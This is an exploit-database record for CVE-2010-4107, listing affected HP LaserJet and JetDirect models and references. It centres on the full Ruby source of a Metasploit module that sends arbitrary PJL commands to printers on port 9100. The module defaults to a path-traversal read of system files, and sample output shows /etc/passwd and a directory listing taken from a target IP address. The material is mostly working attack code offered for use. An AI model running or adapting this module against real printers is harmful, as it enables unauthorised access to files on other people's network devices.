ID
VAR-E-201011-0050
CVE
cve_id: | CVE-2010-4107 | Trust: 2.9 |
EDB ID
17636
TITLE
HP JetDirect PJL - Query Execution (Metasploit) - Hardware remote Exploit
Trust: 0.6
DESCRIPTION
HP JetDirect PJL - Query Execution (Metasploit). CVE-2010-4107 . remote exploit for Hardware platform
Trust: 0.6
AFFECTED PRODUCTS
vendor: | hp | model: | jetdirect pjl | scope: | - | version: | - | Trust: 1.0 |
vendor: | hp | model: | laserjet pjl interface | scope: | - | version: | - | Trust: 0.5 |
vendor: | hp | model: | jetdirect pjl interface universal | scope: | - | version: | - | Trust: 0.5 |
vendor: | hp | model: | laserjet m9050 mfp | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | hp | model: | laserjet m4345x mfp | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | hp | model: | laserjet m1522n mfp | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | hp | model: | laserjet mfp | scope: | eq | version: | 90500 | Trust: 0.3 |
vendor: | hp | model: | laserjet 9000mfp | scope: | - | version: | - | Trust: 0.3 |
vendor: | hp | model: | laserjet | scope: | eq | version: | 9000 | Trust: 0.3 |
vendor: | hp | model: | laserjet | scope: | eq | version: | 8150 | Trust: 0.3 |
vendor: | hp | model: | laserjet mfp | scope: | eq | version: | 50350 | Trust: 0.3 |
vendor: | hp | model: | laserjet 4345mfp | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | hp | model: | laserjet mfp | scope: | eq | version: | 43450 | Trust: 0.3 |
vendor: | hp | model: | laserjet | scope: | eq | version: | 4300 | Trust: 0.3 |
vendor: | hp | model: | laserjet | scope: | eq | version: | 4200 | Trust: 0.3 |
vendor: | hp | model: | laserjet 4100mfp | scope: | - | version: | - | Trust: 0.3 |
vendor: | hp | model: | laserjet | scope: | eq | version: | 4100 | Trust: 0.3 |
vendor: | hp | model: | laserjet mfp | scope: | eq | version: | 30350 | Trust: 0.3 |
vendor: | hp | model: | laserjet series | scope: | eq | version: | 5100 | Trust: 0.3 |
vendor: | hp | model: | color laserjet cm4730 mfp | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | hp | model: | color laserjet 9500mfp | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | hp | model: | color laserjet mfp | scope: | eq | version: | 60400 | Trust: 0.3 |
vendor: | hp | model: | color laserjet 4730mfp | scope: | eq | version: | 0 | Trust: 0.3 |
vendor: | hp | model: | color laserjet mfp | scope: | eq | version: | 47300 | Trust: 0.3 |
EXPLOIT
# Exploit Title: HP JetDirect PJL Query Execution
# Date: Aug 7, 2011
# Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>
# Software Link: http://www.hp.com
# Version: All
# Tested on: HP LaserJet Pxxxx Series
##
# $Id: $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# Sample Output:
#
#
# msf auxiliary(hp_printer_pjl_cmd) > show options
#
# Module options (auxiliary/admin/hp_printer_pjl_cmd):
#
# Name Current Setting Required Description
# ---- --------------- -------- -----------
# CMD FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=999 yes PJL Command to run
# INTERACTIVE true no Enter interactive mode [msfconsole Only]
# RHOST 202.138.16.21 yes The target address
# RPORT 9100 yes The target port
#
# msf auxiliary(hp_printer_pjl_cmd) > run
#
# [*] Entering interactive mode ...
# [*] Please wait while executing -
# [*] FSUPLOAD NAME="0:/../../../etc/passwd" OFFSET=0 SIZE=999
# [+] Server returned the following response:
#
# root::0:0::/:/bin/dlsh
#
#
# [*] Enter PJL Command:
# [*] -> 'quit' to exit
# $ > fsdirlist name="0:/../../../" entry=1 count=99999999
# [*] Please wait while executing -
# [*] fsdirlist name="0:/../../../" entry=1 count=99999999
# [+] Server returned the following response:
#
# . TYPE=DIR
# .. TYPE=DIR
# bin TYPE=DIR
# usr TYPE=DIR
# etc TYPE=DIR
# hpmnt TYPE=DIR
# hp TYPE=DIR
# lib TYPE=DIR
# dev TYPE=DIR
# init TYPE=FILE SIZE=9016
# .profile TYPE=FILE SIZE=834
# tmp TYPE=DIR
#
#
# [*] Enter PJL Command:
# [*] -> 'quit' to exit
# $ > quit
# [*] Exited ... Have fun with your Printer!
# [*] Auxiliary module execution completed
# msf auxiliary(hp_printer_pjl_cmd) >
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => 'HP JetDirect Printer PJL Query Execution',
'Version' => '$Revision: 1 $',
'Description' => %q{
This module act as a HP printer PJL (Printer Job Language) query tool that allows you to submit your own PJL commands. Valid PJL commands are required to get successful response. See the reference section for PJL reference guides from HP.
},
'Author' => [
'Myo Soe <YGN Ethical Hacker Group, http://yehg.net/>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13208/bpl13208.pdf' ],
[ 'URL', 'http://h20000.www2.hp.com/bc/docs/support/SupportManual/bpl13207/bpl13207.pdf' ],
[ 'URL', 'https://secure.wikimedia.org/wikipedia/en/wiki/Printer_Job_Language' ],
[ 'URL', 'http://core.yehg.net/lab/#tools.exploits' ]
],
'DisclosureDate' => ' 2011'))
register_options(
[
OptString.new('CMD',
[
true,
"PJL Command to run",
'FSUPLOAD NAME="0:/../../../.profile" OFFSET=0 SIZE=999'
]
),
OptBool.new('INTERACTIVE',
[
false,
"Enter interactive mode [msfconsole Only]",
false
]
),
Opt::RPORT(9100)
],self.class)
end
def run
mode = datastore['INTERACTIVE']
if mode == true
set_interactive(datastore['CMD'])
else
set_onetime(datastore['CMD'])
end
end
def set_interactive(scmd)
cmd = scmd
print_status("Entering interactive mode ...")
stop = false
set_onetime(cmd)
until stop == true
print_status("Enter PJL Command:")
print_status("-> 'quit' to exit")
print("$ > ")
tmp_cmd = ''
tmp_cmd = gets.chomp.to_s
if tmp_cmd =~ /quit/
stop= true
print_status("Exited ... Have fun with your Printer!")
else
set_onetime(tmp_cmd)
end
end
end
def set_onetime(scmd)
connect
cmd = "\x1b%-12345X@PJL [REPLACE]\x0d\x0a\x1b%-12345X\x0d\x0a"
r_cmd = cmd.sub("[REPLACE]",scmd)
print_status("Please wait while executing -")
print_status("#{scmd}")
recv = sock.put(r_cmd)
res = sock.get(-1,1)
if (!res)
print_error("ERROR in receiving data!\r\n")
else
if res.to_s =~ /ERROR/
print_error("BAD COMMAND OR ERROR\r\n")
disconnect
return
end
resx = res.to_s[res.index("\r\n")+1,res.length]
print_good("Server returned the following response:\r\n#{resx}")
end
disconnect
end
end
Trust: 1.0
EXPLOIT LANGUAGE
rb
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
Query Execution (Metasploit)
Trust: 1.0
TAGS
tag: | exploit | Trust: 1.0 |
tag: | Metasploit Framework (MSF) | Trust: 1.0 |
tag: | file inclusion | Trust: 0.5 |
CREDITS
Myo Soe
Trust: 0.6
EXTERNAL IDS
db: | NVD | id: | CVE-2010-4107 | Trust: 3.5 |
db: | EXPLOIT-DB | id: | 17636 | Trust: 1.6 |
db: | 0DAYTODAY | id: | 14994 | Trust: 0.6 |
db: | EDBNET | id: | 14974 | Trust: 0.6 |
db: | EDBNET | id: | 40186 | Trust: 0.6 |
db: | PACKETSTORM | id: | 96205 | Trust: 0.5 |
db: | PACKETSTORM | id: | 103777 | Trust: 0.5 |
db: | BID | id: | 44882 | Trust: 0.3 |
REFERENCES
url: | https://nvd.nist.gov/vuln/detail/cve-2010-4107 | Trust: 2.6 |
url: | https://0day.today/exploits/14994 | Trust: 0.6 |
url: | https://www.exploit-db.com/exploits/17636/ | Trust: 0.6 |
url: | http://www.nruns.com/_downloads/sa-2010%20003-hewlett-packard.pdf | Trust: 0.3 |
url: | https://www.itrc.hp.com/service/cki/docdisplay.do?docid=emr_na-c02004333 | Trust: 0.3 |
url: | http://www.hp.com/ | Trust: 0.3 |
SOURCES
db: | BID | id: | 44882 |
db: | PACKETSTORM | id: | 96205 |
db: | PACKETSTORM | id: | 103777 |
db: | EXPLOIT-DB | id: | 17636 |
db: | EDBNET | id: | 14974 |
db: | EDBNET | id: | 40186 |
LAST UPDATE DATE
2022-07-27T09:19:24.174000+00:00
SOURCES UPDATE DATE
db: | BID | id: | 44882 | date: | 2014-05-06T01:11:00 |
SOURCES RELEASE DATE
db: | BID | id: | 44882 | date: | 2010-11-15T00:00:00 |
db: | PACKETSTORM | id: | 96205 | date: | 2010-11-30T00:29:27 |
db: | PACKETSTORM | id: | 103777 | date: | 2011-08-07T17:05:41 |
db: | EXPLOIT-DB | id: | 17636 | date: | 2011-08-07T00:00:00 |
db: | EDBNET | id: | 14974 | date: | 2010-11-30T00:00:00 |
db: | EDBNET | id: | 40186 | date: | 2011-08-07T00:00:00 |